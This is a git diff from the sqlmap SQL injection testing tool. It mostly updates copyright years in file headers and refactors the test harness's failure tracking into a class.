(http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index 69114d517..a59797243 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -3,7 +3,7 @@ """ dbgtool.py - Portable executable to ASCII debug script converter -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/mssqlsig/update.py b/extra/mssqlsig/update.py index 65ec692da..902c8ef1e 100644 --- a/extra/mssqlsig/update.py +++ b/extra/mssqlsig/update.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/safe2bin/__init__.py b/extra/safe2bin/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/extra/safe2bin/__init__.py +++ b/extra/safe2bin/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/safe2bin/safe2bin.py b/extra/safe2bin/safe2bin.py index 0c133b724..a2242fe15 100644 --- a/extra/safe2bin/safe2bin.py +++ b/extra/safe2bin/safe2bin.py @@ -3,7 +3,7 @@ """ safe2bin.py - Simple safe(hex) to binary format converter -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py index 1e27c6fc3..641fb8b76 100644 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission # Removes duplicate entries in wordlist like files diff --git a/extra/sqlharvest/__init__.py b/extra/sqlharvest/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/extra/sqlharvest/__init__.py +++ b/extra/sqlharvest/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/sqlharvest/sqlharvest.py b/extra/sqlharvest/sqlharvest.py index da974e32a..84de8d7f0 100644 --- a/extra/sqlharvest/sqlharvest.py +++ b/extra/sqlharvest/sqlharvest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/__init__.py b/lib/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/lib/__init__.py +++ b/lib/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/lib/controller/__init__.py +++ b/lib/controller/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/controller/action.py b/lib/controller/action.py index 8ab4c4953..64150abed 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/controller/checks.py b/lib/controller/checks.py index fe1713c32..b8532dd53 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/controller/controller.py b/lib/controller/controller.py index b0c1e833b..8221fbb81 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/controller/handler.py b/lib/controller/handler.py index da0564127..38fece4ca 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/__init__.py b/lib/core/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/lib/core/__init__.py +++ b/lib/core/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/agent.py b/lib/core/agent.py index c512cec75..69e1ce29e 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 37db36a93..04ef7a691 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/convert.py b/lib/core/convert.py index e063aded0..c94bdf85d 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/data.py b/lib/core/data.py index 9a967aee6..6254ee46d 100644 --- a/lib/core/data.py +++ b/lib/core/data.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 1e9d03e4b..6460fe443 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/decorators.py b/lib/core/decorators.py index ab8978c1a..8c46d38cc 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/defaults.py b/lib/core/defaults.py index 17d18c0ef..d183e5377 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 7c13f8aea..a720bf51d 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/dump.py b/lib/core/dump.py index ea1b1b0a6..b054c93df 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/enums.py b/lib/core/enums.py index 6e3e48b9e..bf3785197 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/exception.py b/lib/core/exception.py index ba2166241..eb2a6e297 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/log.py b/lib/core/log.py index f477a56ec..99b5626a4 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/option.py b/lib/core/option.py index bf75899e1..f3183c5c8 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 6ca4e3662..95be7a698 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/profiling.py b/lib/core/profiling.py index be1da3511..e316c31ee 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/purge.py b/lib/core/purge.py index 007822de5..860c6495b 100644 --- a/lib/core/purge.py +++ b/lib/core/purge.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 8500c9825..1ad455b49 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/replication.py b/lib/core/replication.py index 4ec9a0d76..72787eb16 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/revision.py b/lib/core/revision.py index f86f9b525..5caf32ef8 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/session.py b/lib/core/session.py index 630767c57..ccb529987 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 9232f8878..de4bcacd9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/shell.py b/lib/core/shell.py index 458c80da6..fdf769989 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index 20e35a9e5..6b34e4fba 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/target.py b/lib/core/target.py index b577bd015..47d368ce2 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/testing.py b/lib/core/testing.py index d09fd486c..c29e20a75 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -35,9 +35,10 @@ from lib.core.optiondict import optDict from lib.core.settings import UNICODE_ENCODING from lib.parse.cmdline import cmdLineParser -failedItem = None -failedParseOn = None -failedTraceBack = None +class Failures(object): + failedItems = None + failedParseOn = None + failedTraceBack = None def smokeTest(): """ @@ -110,10 +111,6 @@ def liveTest(): Runs the test of a program against the live testing environment """ - global failedItem - global failedParseOn - global failedTraceBack - retVal = True count = 0 global_ = {} @@ -192,13 +189,14 @@ def liveTest(): logger.info("test passed") cleanCase() else: - errMsg = "test failed " + errMsg = "test failed" - if failedItem: - errMsg += "at parsing item \"%s\" " % failedItem + if Failures.failedItems: + errMsg += " at parsing items:\n" + errMsg += "\n".join("\t%s" % i for i in Failures.failedItems) - errMsg += "- scan folder: %s " % paths.SQLMAP_OUTPUT_PATH - errMsg += "- traceback: %s" % bool(failedTraceBack) + errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH + errMsg += " - traceback: %s" % bool(Failures.failedTraceBack) if not vulnerable: errMsg += " - SQL injection not detected" @@ -206,14 +204,14 @@ def liveTest(): logger.error(errMsg) test_case_fd.write("%s\n" % errMsg) - if failedParseOn: + if Failures.failedParseOn: console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING) - console_output_fd.write(failedParseOn) + console_output_fd.write(Failures.failedParseOn) console_output_fd.close() - if failedTraceBack: + if Failures.failedTraceBack: traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING) - traceback_fd.write(failedTraceBack) + traceback_fd.write(Failures.failedTraceBack) traceback_fd.close() beep() @@ -234,13 +232,9 @@ def liveTest(): return retVal def initCase(switches, count): - global failedItem - global failedParseOn - global failedTraceBack - - failedItem = None - failedParseOn = None - failedTraceBack = None + Failures.failedItems = [] + Failures.failedParseOn = None + Failures.failedTraceBack = None paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="sqlmaptest-%d-" % count) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") @@ -264,10 +258,6 @@ def cleanCase(): shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True) def runCase(parse): - global failedItem - global failedParseOn - global failedTraceBack - retVal = True handled_exception = None unhandled_exception = None @@ -288,10 +278,10 @@ def runCase(parse): LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__ if unhandled_exception: - failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc()) + Failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc()) retVal = None elif handled_exception: - failedTraceBack = "handled exception: %s" % str(traceback.format_exc()) + Failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc()) retVal = None elif result is False: # this means no SQL injection has been detected - if None, ignore retVal = False @@ -308,19 +298,19 @@ def runCase(parse): if item.startswith("r'") and item.endswith("'"): if not re.search(item[2:-1], parse_on, re.DOTALL): retVal = None - failedItem = item - break + Failures.failedItems.append(item) + #break elif item not in parse_on: retVal = None - failedItem = item - break + Failures.failedItems.append(item) + #break - if failedItem is not None: - failedParseOn = console + if Failures.failedItems: + Failures.failedParseOn = console elif retVal is False: - failedParseOn = console + Failures.failedParseOn = console return retVal diff --git a/lib/core/threads.py b/lib/core/threads.py index f511d8709..8eb10f99c 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index a76455292..6377d54dd 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/update.py b/lib/core/update.py index 6a55b16a1..1803139b2 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index b18f7c46b..4eb3ec8ce 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/lib/parse/__init__.py +++ b/lib/parse/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/parse/banner.py b/lib/parse/banner.py index be6ffa9ca..293994ce4 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 96dce8511..bfbf4bdd6 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index 8fa3d8f80..e90330366 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/parse/handler.py b/lib/parse/handler.py index 02bb5f973..36a47671d 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/parse/headers.py b/lib/parse/headers.py index 7384b14b9..1cb08db7d 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/parse/html.py b/lib/parse/html.py index 367276ba5..71fc988d5 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index fe2befb05..489a23990 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/request/__init__.py b/lib/request/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/lib/request/__init__.py +++ b/lib/request/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/request/basic.py b/lib/request/basic.py index eabf525f9..442f81850 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index 0631debad..66a96606e 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/request/comparison.py b/lib/request/comparison.py index b76ac9f55..0966c3695 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/request/connect.py b/lib/request/connect.py index 07bc8d098..97afafba5 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/request/direct.py b/lib/request/direct.py index 6014fd12d..fa7553207 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/request/dns.py b/lib/request/dns.py index 4c36f8c89..007063ad1 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 8b3aa073a..c5c39e8a6 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/request/inject.py b/lib/request/inject.py index 71de6053b..110c8cc13 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py index 14c41ed9b..dc69191c7 100644 --- a/lib/request/methodrequest.py +++ b/lib/request/methodrequest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index 79adbc55c..aa5d239ca 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index 683de39d6..10716d85f 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 2c0ea9a46..ec893aed2 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/request/templates.py b/lib/request/templates.py index f073c1dda..b276132c8 100644 --- a/lib/request/templates.py +++ b/lib/request/templates.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/lib/takeover/__init__.py +++ b/lib/takeover/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 594623ffd..c4773dfd4 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index 36f449ea2..685b43ab5 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git 